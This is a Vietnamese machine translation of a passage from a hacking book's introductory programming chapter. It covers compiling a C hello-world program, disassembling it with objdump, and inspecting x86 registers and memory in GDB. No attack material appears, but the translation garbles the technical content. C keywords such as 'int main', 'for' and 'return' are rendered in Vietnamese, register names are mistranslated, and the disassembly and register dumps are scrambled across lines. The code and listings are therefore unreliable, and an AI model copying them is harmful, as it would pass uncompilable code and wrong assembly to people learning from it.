báo đường phố cho đến khi tìm thấy đường phố mục tiêu; tại thời điểm đó, các hướng
dẫn rẽ còn lại sẽ được thực thi. Các hướng dẫn lái xe mã giả hiện có thể được
thay đổi để sử dụng hàm rẽ này.
Bắt đầu đi về phía Đông trên phố Main;
trong khi (không có nhà thờ nào ở bên phải)
Lái xe xuống phố Main;
nếu (đường phố bị chặn) {
Rẽ (phải, Đường 15);
Rẽ (trái, phố Pine);
Rẽ(phải, Đường 16); } else
Rẽ (phải, Đường 16);
Rẽ(trái, Đường đến); đối với (i=0;
i<5; i++)
Lái xe thẳng 1 dặm;
Dừng tại 743 Destination Road;
18 0x200
Machine Translated by Google
Các hàm không thường được sử dụng trong mã giả, vì mã giả chủ yếu được sử dụng
như một cách để các lập trình viên phác thảo các khái niệm chương trình trước khi viết
mã có thể biên dịch được. Vì mã giả thực sự không phải hoạt động, nên không cần phải
viết ra các hàm đầy đủ—chỉ cần ghi ra một số thứ phức tạp ở đây là đủ. Nhưng trong
một ngôn ngữ lập trình như C, các hàm được sử dụng rất nhiều. Hầu hết tính hữu ích thực
sự của C đến từ các tập hợp các hàm hiện có được gọi là thư viện.
0x250 Bắt tay vào làm
Bây giờ cú pháp của C đã quen thuộc hơn và một số khái niệm lập trình cơ bản đã được
giải thích, thực ra lập trình bằng C không phải là một bước tiến lớn. Trình biên dịch C
tồn tại cho hầu hết mọi hệ điều hành và kiến trúc bộ xử lý hiện có, nhưng đối với cuốn
sách này, Linux và bộ xử lý dựa trên x 86 sẽ được sử dụng độc quyền. Linux là hệ điều
hành miễn phí mà mọi người đều có thể truy cập và bộ xử lý dựa trên x86 là bộ xử lý
cấp độ người tiêu dùng phổ biến nhất trên hành tinh. Vì hack thực sự là về thử
nghiệm, nên có lẽ tốt nhất là bạn nên có trình biên dịch C để theo dõi.
Đi kèm với cuốn sách này là một LiveCD mà bạn có thể sử dụng để theo dõi nếu bạn
máy tính có bộ xử lý x86. Chỉ cần đưa đĩa CD vào ổ đĩa và khởi động lại máy tính. Nó
sẽ khởi động vào môi trường Linux mà không cần sửa đổi hệ điều hành hiện tại của bạn.
Từ môi trường Linux này, bạn có thể làm theo sách và tự mình thử nghiệm.
Chúng ta hãy bắt đầu ngay. Chương trình firstprog.c là một đoạn mã C đơn giản sẽ
in ra "Hello, world!" 10 lần.
chương trình đầu tiên c
#include <stdio.h>
int chính()
{
số nguyên i;
đối với (i = 0; i < 10; i++)
// Lặp lại 10 lần.
{
puts("Xin chào thế giới!\n"); // đưa chuỗi ra đầu ra.
}
trả về 0;
// Báo cho hệ điều hành biết chương trình đã thoát mà không có lỗi.
}
Việc thực thi chính của một chương trình C bắt đầu bằng hàm main() được đặt tên khéo léo
chức năng. Bất kỳ văn bản nào theo sau hai dấu gạch chéo (//) đều là chú thích, bị
trình biên dịch bỏ qua.
Dòng đầu tiên có thể gây nhầm lẫn, nhưng đó chỉ là cú pháp C yêu cầu trình biên
dịch bao gồm các tiêu đề cho thư viện đầu vào/đầu ra (I/O) chuẩn có tên là stdio. Tệp
tiêu đề này được thêm vào chương trình khi biên dịch. Tệp này nằm tại /usr/include/
stdio.h và định nghĩa một số hằng số và nguyên mẫu hàm cho các hàm tương ứng trong
thư viện I/O chuẩn.
Vì hàm main() sử dụng hàm printf() từ I/O chuẩn
Lập trình 19
Machine Translated by Google
thư viện, cần có nguyên mẫu hàm cho printf() trước khi có thể sử dụng.
Nguyên mẫu hàm này (cùng với nhiều nguyên mẫu khác) được bao gồm trong tệp tiêu
đề stdio.h. Phần lớn sức mạnh của C đến từ khả năng mở rộng và thư viện của nó.
Phần còn lại của mã sẽ có ý nghĩa và trông rất giống với mã giả trước đó. Bạn
thậm chí có thể nhận thấy rằng có một tập hợp các dấu ngoặc nhọn có thể được
loại bỏ. Có lẽ khá rõ ràng về những gì chương trình này sẽ làm, nhưng hãy biên
dịch nó bằng GCC và chạy nó chỉ để đảm bảo.
GNU Compiler Collection (GCC) là trình biên dịch C miễn phí, dịch C sang
ngôn ngữ máy mà bộ xử lý có thể hiểu được. Bản dịch đầu ra là tệp nhị phân có
thể thực thi, được gọi là a.out theo mặc định. Chương trình đã biên dịch có
thực hiện được những gì bạn nghĩ không?
reader@hacking:~/booksrc $ gcc firstprog.c reader@hacking:~/
booksrc $ ls -l a.out
-rwxr-xr-x 1 người đọc người đọc 6621 2007-09-06 22:16 a.out
người đọc@hacking:~/booksrc $ ./a.out
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
Xin chào thế giới!
người đọc@hacking:~/booksrc $
0x251 Bức tranh lớn hơn
Được rồi, đây là tất cả những thứ bạn sẽ học trong một lớp lập trình cơ bản—cơ
bản, nhưng thiết yếu. Hầu hết các lớp lập trình nhập môn chỉ dạy cách đọc và
viết C. Đừng hiểu lầm tôi, thành thạo C rất hữu ích và đủ để biến bạn thành một
lập trình viên giỏi, nhưng đó chỉ là một phần của bức tranh lớn hơn. Hầu hết
các lập trình viên học ngôn ngữ từ trên xuống và không bao giờ nhìn thấy bức
tranh lớn. Các hacker có được lợi thế của họ khi biết cách tất cả các phần
tương tác trong bức tranh lớn hơn này. Để nhìn thấy bức tranh lớn hơn trong
lĩnh vực lập trình, chỉ cần nhận ra rằng mã C có nghĩa là được biên dịch.
Mã thực sự không thể làm bất cứ điều gì cho đến khi nó được biên dịch thành
một tệp nhị phân có thể thực thi. Việc coi C-source là một chương trình là một
quan niệm sai lầm phổ biến bị tin tặc khai thác hàng ngày. Các hướng dẫn của
tệp nhị phân a.out được viết bằng ngôn ngữ máy, một ngôn ngữ cơ bản mà CPU có
thể hiểu được. Trình biên dịch được thiết kế để dịch ngôn ngữ của mã C thành
ngôn ngữ máy cho nhiều kiến trúc bộ xử lý khác nhau. Trong trường hợp này, bộ
xử lý nằm trong một họ sử dụng kiến trúc x86. Ngoài ra còn có các kiến trúc
bộ xử lý Sparc (được sử dụng trong Sun Workstations) và kiến trúc bộ xử lý
PowerPC (được sử dụng trong máy Mac trước Intel). Mỗi kiến trúc có một ngôn ngữ
máy khác nhau, vì vậy trình biên dịch đóng vai trò là một nền tảng trung gian—
dịch mã C thành ngôn ngữ máy cho kiến trúc mục tiêu.
20 0x200
Machine Translated by Google
Miễn là chương trình biên dịch hoạt động, lập trình viên trung bình chỉ quan tâm đến mã
nguồn. Nhưng một hacker nhận ra rằng chương trình biên dịch mới thực sự được thực thi trong thế
giới thực. Với sự hiểu biết tốt hơn về cách CPU hoạt động, hacker có thể thao túng các chương
trình chạy trên đó. Chúng ta đã xem mã nguồn cho chương trình đầu tiên của mình và biên dịch nó
thành một tệp nhị phân thực thi cho kiến trúc x86. Nhưng tệp nhị phân thực thi này trông như thế nào?
Các công cụ phát triển GNU bao gồm một chương trình có tên là objdump, có thể được sử dụng để kiểm
tra các tệp nhị phân đã biên dịch. Chúng ta hãy bắt đầu bằng cách xem mã máy mà hàm main() đã được
dịch thành.
reader@hacking:~/booksrc $ objdump -D a.out | grep -A20 main.:
08048374 <chính>:
8048374:
55
đẩy %ebp
8048375:
89 e5
mov
% đặc biệt,% ebp
8048377:
83 ec 08
sub
$0x8,% đặc biệt
804837a:
83 e4 f0
và
$0xfffffff0,% đặc biệt
804837d:
b8 00 00 00 00
di chuyển
8048382:
29 c4
phụ
8048384:
c7 45 fc 00 00 00 00 83 7d
di chuyển $0x0,0xffffffc(%ebp)
804838b:
fc 09
cmpl $0x9,0xffffffc(%ebp)
804838f:
7e 02
jle 8048393 <chính+0x1f>
8048391:
eb 13
jmp 80483a6 <chính+0x32>
8048393:
c7 04 24 84 84 04 08 e8 01
di chuyển $0x8048484,(%esp)
804839a:
ff ff ff 8d 45 fc
gọi 80482a0 <printf@plt>
804839f:
ff 00 eb
lea 0xfffffffc(%ebp),%eax
80483a2:
e5 c9
80483a4:
$0x0,%eax
%eax,%esp
bao gồm (%eax)
jmp 804838b <chính+0x17>
rời
80483a6:
80483a7:
c3
khỏi ret
80483a8:
90
không
80483a9:
90
không
80483aa:
90
không
reader@hacking:~/booksrc $
Chương trình objdump sẽ đưa ra quá nhiều dòng đầu ra để kiểm tra một cách hợp lý, vì
vậy đầu ra được đưa vào grep với tùy chọn dòng lệnh để chỉ hiển thị 20 dòng sau biểu thức chính
quy main.:. Mỗi byte được biểu diễn bằng ký hiệu thập lục phân, là hệ thống đánh số cơ số 16. Hệ
thống đánh số mà bạn quen thuộc nhất sử dụng hệ thống cơ số 10, vì ở 10, bạn cần thêm một ký hiệu bổ
sung. Hệ thập lục phân sử dụng 0 đến 9 để biểu diễn 0 đến 9, nhưng nó cũng sử dụng A đến F để biểu
diễn các giá trị từ 10 đến 15. Đây là một ký hiệu thuận tiện vì một byte chứa 8 bit, mỗi bit có
thể đúng hoặc sai. Điều này có nghĩa là một byte có 256 (28 ) giá trị có thể, vì vậy mỗi byte có
thể được mô tả bằng 2 chữ số thập lục phân.
Các số thập lục phân—bắt đầu bằng 0x8048374 ở phía bên trái—là địa chỉ bộ nhớ. Các bit của
lệnh ngôn ngữ máy phải được đặt ở đâu đó, và nơi này được gọi là bộ nhớ. Bộ nhớ chỉ là một tập hợp
các byte không gian lưu trữ tạm thời được đánh số bằng địa chỉ.
Lập trình
21
Machine Translated by Google
Giống như một dãy nhà trên một con phố địa phương, mỗi dãy có một địa chỉ riêng, bộ nhớ có
thể được coi như một dãy byte, mỗi byte có một địa chỉ bộ nhớ riêng. Mỗi byte bộ nhớ có thể được
truy cập bằng địa chỉ của nó, và trong trường hợp này, CPU truy cập vào phần bộ nhớ này để
lấy các lệnh ngôn ngữ máy tạo nên chương trình đã biên dịch. Bộ xử lý Intel x86 cũ hơn sử dụng
lược đồ định địa chỉ 32 bit, trong khi bộ xử lý mới hơn sử dụng lược đồ 64 bit. Bộ xử lý 32 bit
có 232 (hoặc 4.294.967.296) địa chỉ khả dụng, trong khi bộ xử lý 64 bit có 264
(1.84467441 × 1019) địa chỉ khả thi. Bộ xử lý 64 bit có thể chạy ở chế độ tương thích 32
bit, cho phép chúng chạy mã 32 bit một cách nhanh chóng.
Các byte thập lục phân ở giữa danh sách trên là các lệnh ngôn ngữ máy cho bộ xử lý x86. Tất nhiên,
các giá trị thập lục phân này chỉ là biểu diễn của các byte nhị phân 1 và 0 mà CPU có thể hiểu được. Nhưng
vì 0101010110001001111001011000001111101100111100001 . . .
không hữu ích cho bất kỳ thứ gì ngoài bộ xử lý, mã máy được hiển thị dưới dạng byte thập lục
phân và mỗi lệnh được đặt trên một dòng riêng, giống như việc chia một đoạn văn thành các câu.
Nghĩ lại thì, các byte thập lục phân thực sự không hữu ích lắm, đó là lúc ngôn ngữ lắp ráp
xuất hiện. Các lệnh ở phía bên phải là ngôn ngữ lắp ráp. Ngôn ngữ lắp ráp thực sự chỉ là một tập
hợp các ký hiệu ghi nhớ cho các lệnh ngôn ngữ máy tương ứng.
Lệnh ret dễ nhớ và dễ hiểu hơn nhiều so với 0xc3 hoặc 11000011. Không giống như C và các ngôn
ngữ biên dịch khác, các lệnh ngôn ngữ lắp ráp có mối quan hệ một-một trực tiếp với các lệnh ngôn
ngữ máy tương ứng của chúng. Điều này có nghĩa là vì mỗi kiến trúc bộ xử lý có các lệnh ngôn ngữ
máy khác nhau, nên mỗi lệnh cũng có một dạng ngôn ngữ lắp ráp khác nhau. Lắp ráp chỉ là một cách
để các lập trình viên biểu diễn các lệnh ngôn ngữ máy được cung cấp cho bộ xử lý. Cách chính
xác các lệnh ngôn ngữ máy này được biểu diễn chỉ đơn giản là vấn đề về quy ước và sở thích. Mặc
dù về mặt lý thuyết, bạn có thể tạo cú pháp ngôn ngữ lắp ráp x86 của riêng mình, nhưng hầu hết
mọi người đều sử dụng một trong hai loại chính: cú pháp AT&T và cú pháp Intel. Lệnh lắp ráp
được hiển thị trong đầu ra ở trang 21 là cú pháp AT&T, vì hầu hết tất cả các công cụ tháo rời
của Linux đều sử dụng cú pháp này theo mặc định. Cú pháp AT&T rất dễ nhận ra thông qua sự hỗn
loạn của các ký hiệu % và $ ở đầu mọi thứ (hãy xem lại ví dụ ở trang 21). Có thể hiển thị
cùng một mã trong cú pháp Intel bằng cách cung cấp tùy chọn dòng lệnh bổ sung, -M intel, cho
objdump, như hiển thị trong đầu ra bên dưới.
reader@hacking:~/booksrc $ objdump -M intel -D a.out | grep -A20 main.:
08048374 <chính>:
22 0x200
8048374:
55
đẩy ebp
8048375:
89 e5
mov
ebp, đặc biệt
8048377:
83 ec 08
sub
đặc biệt, 0x8
804837a:
83 e4 f0
và
804837d:
b8 00 00 00 00
di chuyển
8048382:
29 c4
phụ
8048384:
c7 45 fc 00 00 00 00 83 7d
di chuyển
DWORD PTR [ebp-4],0x0
804838b:
fc 09
cmp
DWORD PTR [ebp-4],0x9
804838f:
7e 02
jle
8048393 <chính+0x1f>
đặc biệt,0xfffffff0
eax,0x0
đặc biệt là eax
Machine Translated by Google
8048391:
eb 13
8048393:
c7 04 24 84 84 04 08 e8
804839a:
01 ff ff ff
804839f:
8d 45 fc
công
eax,[ebp-4]
80483a2:
ff 00
ty lea
DWORD PTR [eax]
80483a4:
e5
jmp
804838b <chính+0x17>
80483a6:
c9
rời đi
80483a7:
c3
trở về
80483a8:
90
không
80483a9:
90
không
80483aa:
90
không
jmp
di chuyển
80483a6 <chính+0x32>
DWORD PTR [esp],0x8048484
gọi 80482a0 <printf@plt>
reader@hacking:~/booksrc $
Cá nhân tôi nghĩ cú pháp của Intel dễ đọc và dễ hiểu hơn nhiều, vì vậy, vì mục
đích của cuốn sách này, tôi sẽ cố gắng sử dụng cú pháp này.
Bất kể biểu diễn ngôn ngữ lắp ráp nào, các lệnh mà bộ xử lý hiểu được đều khá đơn
giản. Các lệnh này bao gồm một phép toán và đôi khi là các đối số bổ sung mô tả
đích đến và/hoặc nguồn của phép toán. Các phép toán này di chuyển bộ nhớ xung
quanh, thực hiện một số loại toán học cơ bản hoặc ngắt bộ xử lý để khiến nó thực
hiện một việc khác. Cuối cùng, đó là tất cả những gì bộ xử lý máy tính thực sự có
thể làm. Nhưng theo cùng một cách mà hàng triệu cuốn sách đã được viết bằng một bảng
chữ cái tương đối nhỏ, một số lượng vô hạn các chương trình khả thi có thể được tạo
ra bằng cách sử dụng một tập hợp các lệnh máy tương đối nhỏ.
Bộ xử lý cũng có bộ biến đặc biệt riêng gọi là thanh ghi. Hầu hết các lệnh sử
dụng các thanh ghi này để đọc hoặc ghi dữ liệu, do đó, hiểu các thanh ghi của bộ xử
lý là điều cần thiết để hiểu các lệnh.
Bức tranh lớn hơn ngày càng trở nên lớn hơn. . . .
0x252 Bộ xử lý x86
CPU 8086 là bộ xử lý x86 đầu tiên. Nó được phát triển và sản xuất bởi Intel, sau đó
Intel đã phát triển các bộ xử lý tiên tiến hơn trong cùng một họ: 80186, 80286,
80386 và 80486. Nếu bạn nhớ mọi người đã nói về bộ xử lý 386 và 486 vào những năm 80
và 90, thì đây chính là những gì họ đang nhắc đến.
Bộ xử lý x86 có một số thanh ghi, giống như các biến nội bộ của bộ xử lý. Tôi có
thể chỉ nói trừu tượng về các thanh ghi này ngay bây giờ, nhưng tôi nghĩ tốt hơn hết
là bạn nên tự mình xem xét mọi thứ. Các công cụ phát triển GNU cũng bao gồm một trình
gỡ lỗi có tên là GDB. Trình gỡ lỗi được các lập trình viên sử dụng để từng bước qua
các chương trình đã biên dịch, kiểm tra bộ nhớ chương trình và xem các thanh ghi của
bộ xử lý. Một lập trình viên chưa bao giờ sử dụng trình gỡ lỗi để xem hoạt động bên
trong của một chương trình cũng giống như một bác sĩ thế kỷ XVII chưa bao giờ sử dụng
kính hiển vi. Tương tự như kính hiển vi, trình gỡ lỗi cho phép tin tặc quan sát thế
giới vi mô của mã máy—nhưng trình gỡ lỗi mạnh hơn nhiều so với phép ẩn dụ này. Không
giống như kính hiển vi, trình gỡ lỗi có thể xem quá trình thực thi từ mọi góc độ, tạm
dừng và thay đổi mọi thứ trong quá trình thực thi.
Lập trình 23
Machine Translated by Google
Bên dưới, GDB được sử dụng để hiển thị trạng thái của các thanh ghi bộ xử lý ngay trước khi
chương trình bắt đầu.
người đọc@hacking:~/booksrc $ gdb -q ./a.out
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) ngắt chính
Điểm dừng 1 tại 0x804837a
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/a.out
Điểm dừng 1, 0x0804837a trong main ()
(gdb) thông tin đăng ký
eax
0xbffff894
-1073743724
ecx
0x48e0fe81
1222704769
edx
0x1 1
ebx
0xb7fd6ff4
-1208127500
đặc
0xbffff800
0xbffff800
biệt
0xbffff808
0xbffff808
là
0xb8000ce0
ebp esi edi
0x0
eip
0x804837a
cờ
cs
0x286
[ PF SF NẾU ]
0x73
115
ss
0x7b
123
ds
0x7b
123
là
0x7b
123
fs
0x0
0
gs
0x33
51
-1207956256
0
0x804837a <chính+6>
(gdb) thoát
Chương trình đang chạy. Thoát ra luôn? (y hoặc n) y
người đọc@hacking:~/booksrc $
Một điểm dừng được thiết lập trên hàm main() để thực thi sẽ dừng ngay trước khi mã của chúng
ta được thực thi. Sau đó, GDB chạy chương trình, dừng tại điểm dừng và được yêu cầu hiển thị tất
cả các thanh ghi bộ xử lý và
trạng thái hiện tại.
Bốn thanh ghi đầu tiên (EAX, ECX, EDX và EBX) được gọi là các thanh ghi mục đích chung. Chúng
được gọi là Accumulator, Counter, Data và Base
tương ứng. Chúng được sử dụng cho nhiều mục đích khác nhau, nhưng chủ yếu hoạt động như các biến tạm
thời cho CPU khi thực hiện các lệnh máy.
Bốn thanh ghi thứ hai (ESP, EBP, ESI và EDI) cũng là các thanh ghi có mục đích chung,
nhưng đôi khi chúng được gọi là con trỏ và chỉ mục.
Chúng lần lượt là Stack Pointer, Base Pointer, Source Index và Destination Index . Hai thanh ghi đầu
tiên được gọi là con trỏ vì chúng lưu trữ địa chỉ 32 bit, về cơ bản là trỏ đến vị trí đó trong bộ nhớ.
Các thanh ghi này khá quan trọng đối với việc thực thi chương trình và quản lý bộ nhớ; chúng ta sẽ
thảo luận thêm về chúng sau. Hai thanh ghi cuối cùng về mặt kỹ thuật cũng là con trỏ,
24 0x200
Machine Translated by Google
thường được sử dụng để trỏ đến nguồn và đích khi dữ liệu cần được đọc từ hoặc ghi vào. Có các hướng dẫn
tải và lưu trữ
sử dụng các thanh ghi này, nhưng phần lớn các thanh ghi này có thể được coi như các
thanh ghi có mục đích chung đơn giản.
Thanh ghi EIP là thanh ghi Con trỏ lệnh , trỏ đến lệnh hiện tại mà bộ xử lý
đang đọc. Giống như một đứa trẻ chỉ ngón tay vào từng từ khi đọc, bộ xử lý đọc từng lệnh
bằng cách sử dụng thanh ghi EIP như ngón tay của mình. Đương nhiên, thanh ghi này khá
quan trọng và sẽ được sử dụng rất nhiều trong khi gỡ lỗi. Hiện tại, nó trỏ đến một địa
chỉ bộ nhớ tại 0x804838a.
Thanh ghi EFLAGS còn lại thực sự bao gồm một số cờ bit được sử dụng để so sánh và
phân đoạn bộ nhớ. Bộ nhớ thực tế được chia thành nhiều phân đoạn khác nhau, sẽ được thảo
luận sau, và các thanh ghi này theo dõi điều đó. Đối với hầu hết các trường hợp, các
thanh ghi này có thể bị bỏ qua vì chúng hiếm khi cần được truy cập trực tiếp.
0x253 Ngôn ngữ lắp ráp
Vì chúng tôi đang sử dụng ngôn ngữ lắp ráp cú pháp Intel cho cuốn sách này, nên các
công cụ của chúng tôi phải được cấu hình để sử dụng cú pháp này. Bên trong GDB, cú
pháp tháo rời có thể được đặt thành Intel bằng cách chỉ cần nhập set disassembly intel
hoặc set dis intel, viết tắt. Bạn có thể cấu hình cài đặt này để chạy mỗi lần GDB khởi
động bằng cách đặt lệnh trong tệp .gdbinit trong thư mục gốc của bạn.
người đọc@hacking:~/booksrc $ gdb -q
(gdb) thiết lập dis intel
(gdb) thoát
reader@hacking:~/booksrc $ echo "đặt dis intel" > ~/.gdbinit
người đọc@hacking:~/booksrc $ cat ~/.gdbinit
thiết lập thông tin tình báo
người đọc@hacking:~/booksrc $
Bây giờ GDB đã được cấu hình để sử dụng cú pháp Intel, chúng ta hãy bắt đầu tìm hiểu
nó. Các hướng dẫn lắp ráp trong cú pháp Intel thường theo phong cách này:
hoạt động <đích>, <nguồn>
Giá trị đích và giá trị nguồn sẽ là một thanh ghi, một địa chỉ bộ nhớ hoặc một
giá trị. Các hoạt động thường là các phép ghi nhớ trực quan :
phép toán sẽ di chuyển giá trị từ nguồn đến đích, sub sẽ trừ, inc sẽ tăng, v.v. Ví dụ, các hướng
dẫn bên dưới sẽ di chuyển giá trị từ ESP đến EBP rồi trừ 8 khỏi ESP (lưu trữ kết quả trong ESP).
8048375:
89 e5
di chuyển
8048377:
83 ec 08
phụ
ebp, đặc biệt
đặc biệt, 0x8
Lập trình
25
Machine Translated by Google
Ngoài ra còn có các hoạt động được sử dụng để kiểm soát luồng thực thi.
Hoạt động cmp được sử dụng để so sánh các giá trị và về cơ bản, bất kỳ hoạt động nào bắt đầu bằng j
đều được sử dụng để nhảy đến một phần khác của mã (tùy thuộc vào kết quả so sánh). Ví dụ dưới đây đầu
tiên so sánh giá trị 4 byte nằm ở EBP trừ 4 với số 9. Lệnh tiếp theo là lệnh ngắn-
hand để nhảy nếu nhỏ hơn hoặc bằng, tham chiếu đến kết quả của phép so sánh trước đó.
Nếu giá trị đó nhỏ hơn hoặc bằng 9, lệnh thực thi sẽ nhảy đến lệnh tại 0x8048393. Nếu
không, lệnh thực thi sẽ chuyển đến lệnh tiếp theo với lệnh nhảy không điều kiện. Nếu
giá trị không nhỏ hơn hoặc bằng 9, lệnh thực thi sẽ nhảy đến 0x80483a6.
804838b:
83 7ngày fc
cmp
DWORD PTR [ebp-4],0x9
804838f:
09 7e
jle
8048393 <chính+0x1f>
8048391:
02 eb 13
jmp
80483a6 <chính+0x32>
Những ví dụ này được lấy từ phần phân tích trước đó của chúng tôi và chúng tôi đã
cấu hình trình gỡ lỗi để sử dụng cú pháp Intel, vì vậy hãy sử dụng trình gỡ lỗi để thực
hiện từng bước chương trình đầu tiên ở cấp độ lệnh lắp ráp.
Trình biên dịch GCC có thể sử dụng cờ -g để bao gồm thông tin gỡ lỗi bổ sung, giúp
GDB có thể truy cập vào mã nguồn.
reader@hacking:~/booksrc $ gcc -g firstprog.c
reader@hacking:~/booksrc $ ls -l a.out
-rwxr-xr-x 1 ma trận người dùng 11977 4 tháng 7 17:29 a.out
người đọc@hacking:~/booksrc $ gdb -q ./a.out
Sử dụng thư viện libthread_db lưu trữ "/lib/libthread_db.so.1".
(gdb) danh sách
1
#include <stdio.h>
2
3
int chính()
4
{
số nguyên i;
5 6
đối với (i = 0; i < 10; i++)
{
printf("Xin chào thế giới!\n");
7 8
9
10
}
}
(gdb) tháo rời chính
Bản sao mã trình biên dịch cho hàm main():
0x08048384 <main+0>:
đẩy ebp
0x08048385 <main+1>: mov ebp,esp
0x08048387 <main+3>: sub esp,0x8
0x0804838a <main+6>: và esp,0xfffffff0
0x0804838d <main+9>: mov eax,0x0
26 0x200
0x08048392 <main+14>: sub
đặc biệt là eax
0x08048394 <main+16>: mov
DWORD PTR [ebp-4],0x0
0x0804839b <main+23>: cmp
DWORD PTR [ebp-4],0x9
0x0804839f <main+27>: jle
0x80483a3 <chính+31>
0x080483a1 <main+29>: jmp
0x80483b6 <chính+50>
Machine Translated by Google
0x080483a3 <main+31>: mov DWORD PTR [esp],0x80484d4
0x080483aa <main+38>: gọi 0x80482a8 <_init+56>
0x080483af <main+43>: lea eax,[ebp-4]
0x080483b2 <main+46>: tăng
DWORD PTR [eax]
0x080483b4 <main+48>: jmp 0x804839b <main+23>
0x080483b6 <main+50>: rời khỏi
0x080483b7 <main+51>: ret Kết thúc
quá trình dump trình biên dịch.
(gdb) ngắt chính
Điểm dừng 1 tại 0x8048394: tệp firstprog.c, dòng 6.
(gdb) chạy
Bắt đầu chương trình: /hacking/a.out
Điểm dừng 1, main() tại firstprog.c:6
6 cho(i=0; i < 10; i++)
(gdb) thông tin đăng ký eip
eip 0x8048394 (gdb)
0x8048394
Đầu tiên, mã nguồn được liệt kê và quá trình phân tách hàm main () được hiển thị. Sau đó, một điểm
dừng được đặt ở đầu hàm main() và chương trình được chạy. Điểm dừng này chỉ đơn giản là yêu cầu trình gỡ
lỗi tạm dừng thực thi chương trình khi đến điểm đó. Vì điểm dừng đã được đặt ở đầu hàm main () , chương
trình sẽ chạm đến điểm dừng và tạm dừng trước khi thực sự thực thi bất kỳ lệnh nào trong hàm main(). Sau
đó, giá trị của EIP (Con trỏ lệnh) được hiển thị.
Lưu ý rằng EIP chứa một địa chỉ bộ nhớ trỏ đến một lệnh trong quá trình phân tách hàm main() (được
in đậm). Các lệnh trước đó (được in nghiêng) được gọi chung là phần mở đầu hàm và được trình biên dịch
tạo ra để thiết lập bộ nhớ cho phần còn lại của các biến cục bộ của hàm main() . Một phần lý do tại sao
các biến cần được khai báo trong C là để hỗ trợ việc xây dựng phần mã này. Trình gỡ lỗi biết rằng phần
mã này được tạo tự động và đủ thông minh để bỏ qua phần đó. Chúng ta sẽ nói thêm về phần mở đầu hàm sau,
nhưng hiện tại chúng ta có thể học hỏi từ GDB và bỏ qua phần đó.
Trình gỡ lỗi GDB cung cấp một phương pháp trực tiếp để kiểm tra bộ nhớ, sử dụng
lệnh x, viết tắt của examine. Kiểm tra bộ nhớ là một kỹ năng quan trọng đối với bất kỳ hacker nào. Hầu
hết các khai thác của hacker đều giống như các trò ảo thuật—chúng có vẻ tuyệt vời và kỳ diệu, trừ khi
bạn biết về trò ảo thuật và đánh lạc hướng. Trong cả ảo thuật và hack, nếu bạn nhìn đúng chỗ, trò
ảo thuật sẽ rất rõ ràng. Đó là một trong những lý do tại sao một nhà ảo thuật giỏi không bao giờ làm
cùng một trò hai lần. Nhưng với trình gỡ lỗi như GDB, mọi khía cạnh của quá trình thực thi chương trình
có thể được kiểm tra, tạm dừng, thực hiện từng bước và lặp lại theo cách xác định thường xuyên khi cần.
Vì một chương trình đang chạy chủ yếu chỉ là bộ xử lý và các phân đoạn bộ nhớ, nên kiểm tra bộ nhớ là
cách đầu tiên để xem những gì thực sự đang diễn ra.
Lệnh examine trong GDB có thể được sử dụng để xem một địa chỉ bộ nhớ nhất định theo nhiều cách khác
nhau. Lệnh này mong đợi hai đối số khi được sử dụng: vị trí trong bộ nhớ để kiểm tra và cách hiển thị bộ
nhớ đó.
Lập trình 27
Machine Translated by Google
Định dạng hiển thị cũng sử dụng cách viết tắt một chữ cái, tùy chọn được đặt trước bằng số lượng mục
cần kiểm tra. Một số chữ cái định dạng phổ biến như sau:
o Hiển thị theo hệ bát phân.
x Hiển thị theo hệ thập lục phân.
u Hiển thị ở dạng số thập phân chuẩn cơ số 10 không dấu.
t Hiển thị dưới dạng nhị phân.
Những điều này có thể được sử dụng với lệnh examine để kiểm tra một số
địa chỉ bộ nhớ. Trong ví dụ sau, địa chỉ hiện tại của thanh ghi EIP được sử dụng. Các lệnh
viết tắt thường được sử dụng với GDB và thậm chí thanh ghi thông tin eip có thể được rút gọn
thành chỉ ir eip.
(gdb) ir eip
0x8048384
0x8048384 <chính+16>
eip (gdb) x/o 0x8048384
0x8048384 <main+16>:
077042707
(gdb) x/x $eip
0x8048384 <main+16>:
0x00fc45c7
(gdb) x/u $eip
0x8048384 <main+16>:
16532935
(gdb) x/t $eip
0x8048384 <chính+16>:
00000000111111000100010111000111
(gdb)
Bộ nhớ mà thanh ghi EIP trỏ đến có thể được kiểm tra bằng cách sử dụng địa chỉ được lưu
trữ trong EIP. Trình gỡ lỗi cho phép bạn tham chiếu trực tiếp đến các thanh ghi, vì vậy $eip
tương đương với giá trị EIP chứa tại thời điểm đó. Giá trị 077042707 trong hệ bát phân giống
với 0x00fc45c7 trong hệ thập lục phân, giống với 16532935 trong hệ thập phân cơ số 10, đến
lượt nó giống với 00000000111111000100010111000111
ở dạng nhị phân. Một số cũng có thể được thêm vào trước định dạng của lệnh examine để kiểm tra
nhiều đơn vị tại địa chỉ mục tiêu.
(gdb) x/2x $eip
0x8048384 <main+16>:
0x00fc45c7
0x83000000
(gdb) x/12x $eip
0x8048384 <main+16>:
0x00fc45c7
0x83000000
0x7e09fc7d
0xc713eb02
0x8048394 <main+32>:
0x84842404
0x01e80804
0x8dffffff
0x00ffffc45
0x80483a4 <main+48>:
0xc3c9e5eb
0x90909090
0x90909090
0x5de58955
(gdb)
Kích thước mặc định của một đơn vị là một đơn vị bốn byte được gọi là một từ. Kích thước của các
đơn vị hiển thị cho lệnh kiểm tra có thể được thay đổi bằng cách thêm một chữ cái kích thước vào cuối
chữ cái định dạng. Các chữ cái kích thước hợp lệ như sau:
b Một byte đơn
h Một nửa từ, có kích thước là hai byte
w Một từ có kích thước là bốn byte
g Một người khổng lồ, có kích thước là tám byte
28 0x200
Machine Translated by Google
Điều này hơi khó hiểu, vì đôi khi thuật ngữ word cũng đề cập đến các giá trị 2
byte. Trong trường hợp này , double word hoặc DWORD đề cập đến giá trị 4 byte. Trong
cuốn sách này, words và DWORD đều đề cập đến các giá trị 4 byte. Nếu tôi đang nói về
giá trị 2 byte, tôi sẽ gọi nó là short hoặc halfword. Đầu ra GDB sau đây hiển thị bộ
nhớ được hiển thị ở nhiều kích cỡ khác nhau.
(gdb) x/8xb $eip
0x8048384 <main+16>:
0xc7
(gdb) x/8xh $eip
0x8048384 <main+16>:
0x45c7 0x00fc 0x0000 0x8300 0xfc7d 0x7e09 0xeb02 0xc713
(gdb) x/8xw $eip
0x8048384 <main+16>:
0x00fc45c7
